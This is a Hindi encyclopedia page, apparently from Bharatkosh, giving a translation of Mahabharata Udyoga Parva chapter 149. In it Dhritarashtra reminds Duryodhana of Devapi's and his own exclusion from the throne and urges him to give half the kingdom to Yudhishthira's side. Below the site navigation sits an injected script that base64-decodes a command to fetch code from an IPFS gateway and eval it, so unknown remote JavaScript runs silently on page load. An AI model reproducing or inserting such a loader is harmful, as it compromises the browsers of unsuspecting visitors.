महाभारत उद्योग पर्व अध्याय 149 श्लोक 24-36

अद्‌भुत भारत की खोज
नेविगेशन पर जाएँ खोज पर जाएँ
गणराज्य इतिहास पर्यटन भूगोल विज्ञान कला साहित्य धर्म संस्कृति शब्दावली विश्वकोश भारतकोश

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

एकोनपञ्चादधिकशततम (149) अध्‍याय: उद्योग पर्व (भगवद्-यान पर्व)

महाभारत: उद्योग पर्व: एकोनपञ्चादधिकशततम अध्याय: श्लोक 1-23 का हिन्दी अनुवाद

इस प्रकार यद्यपि देवापि उदार, धर्मज्ञ, सत्‍यप्रतिज्ञ तथा प्रजाओंके प्रिय थे, तथापि पूर्वोक्‍त चर्मरोग के कारण दूषित मान लिये गये। जो किसी अंग से हीन हो उस राजाका देवतालोग अभिनन्‍दन नहीं करते हैं; इसीलिये उन श्रेष्‍ठ ब्राह्मणों ने नृप-प्रवर प्रतीप को देवापि का अभिषेक करने से मना कर दिया था। इससे राजाको बड़ा कष्‍ट हुआ। वे पुत्रके लिये शोकसग्‍न हो गये। राजाको रोका गया देखकर देवापि वन में चले गये। बाह्रीक परम समृद्धिशाली राज्‍य तथा पिता और भाइयों को छोड़कर मामाके घर चले गये। राजन्! तदन्‍तर पिताकीमृत्‍यु होने के पश्‍चात्‍ बाह्रीक की आज्ञा लेकर लोकविख्‍यात राजा शान्‍तनुने राज्‍य का शासन किया। भारत ! इसी प्रकार मैं भी अंगहीन था; इसलिये ज्‍येष्‍ठ होनेपर भी बुद्धिमान पाण्‍डु एवं प्रजाजनोंके द्वारा खूब सोचविचारकर राज्‍य से वंचित कर दिया गया। पाण्‍डुने अवस्‍थामें छोटे होनेपर भी राज्‍य प्राप्‍त किया और वे एक अच्छे राजा बनकर रहे हैं। शत्रुदमन दुर्योधन ! पाण्‍डु की मृत्‍युके पश्‍चात् उनके पुत्रोंका ही यह राज्‍य है। मैं तो राज्‍यका अधिकारी था ही नहीं, फिर तू कैसे राज्‍य लेना चाहता है? जो राजाका पुत्र नहीं है, वह उसके राज्‍यका स्‍वामी नहीं हो सकता। तू पराये धनका अपहरण करना चाहता है, महात्‍मा युधिष्ठिर राजाके पुत्र हैं, अत: न्‍यायत: प्राप्‍त हुए इस राज्‍यपर उन्‍हींका अधिकार है। वे ही इस कौरव-कुलका भरण-पोषण करनेवाले, स्‍वामी तथा इस राज्‍यके शासक हैं। उनका प्रभाव महान है। वे सत्‍य‍प्रतिज्ञ और प्रमाद‍रहित हैं। शास्‍त्रकी आज्ञाके युधिष्ठिरपर प्रजावर्गका विशेष प्रेम है। वे अपने सुदृदोंपर कृपा करनेवाले, जितेन्द्रिय तथा सज्‍जनों का पालन पोषण करनेवाले हैं। क्षमा, सहनशीलता, इन्द्रिसंयम, सरलता, सत्‍य-परायणता, शास्‍त्रज्ञान, प्रमादशून्‍यता, समस्‍त प्राणियोंपर दयाभाव तथा गुरूजनोंके अनुशासन रहना आदि समस्‍त राजोचित गुण युधिष्ठिर में विद्यमान हैं। तू राजाका पुत्र नहीं है। तेरा बर्ताव भी दुष्‍टोंके समान है। तू लोभी तो है ही, बन्‍धु-बांधवों के प्रति सदा पापपूर्ण है। तू कैसे इसका अपहरण कर सकेगा? नरेन्‍द्र ! तू मोह छोड़कर वाहनों और अन्‍यान्‍य सामग्रियों सहित (कम से कम) आधा राज्‍य पाण्‍डवोंको दे दे। सभी अपने छोटे भाइयोंके साथ तेरा जीवन बचा रह सकता है।

इस प्रकार श्रीमहाभारत उद्योगपर्व के अन्‍तर्गत भगवद्यानपर्व में धृतराष्‍ट्रवाक्‍यविषयक एक सौ उनचासवाँ अध्‍याय पूरा हुआ।


« पीछे आगे »

टीका टिप्पणी और संदर्भ

संबंधित लेख

साँचा:सम्पूर्ण महाभारत अभी निर्माणाधीन है।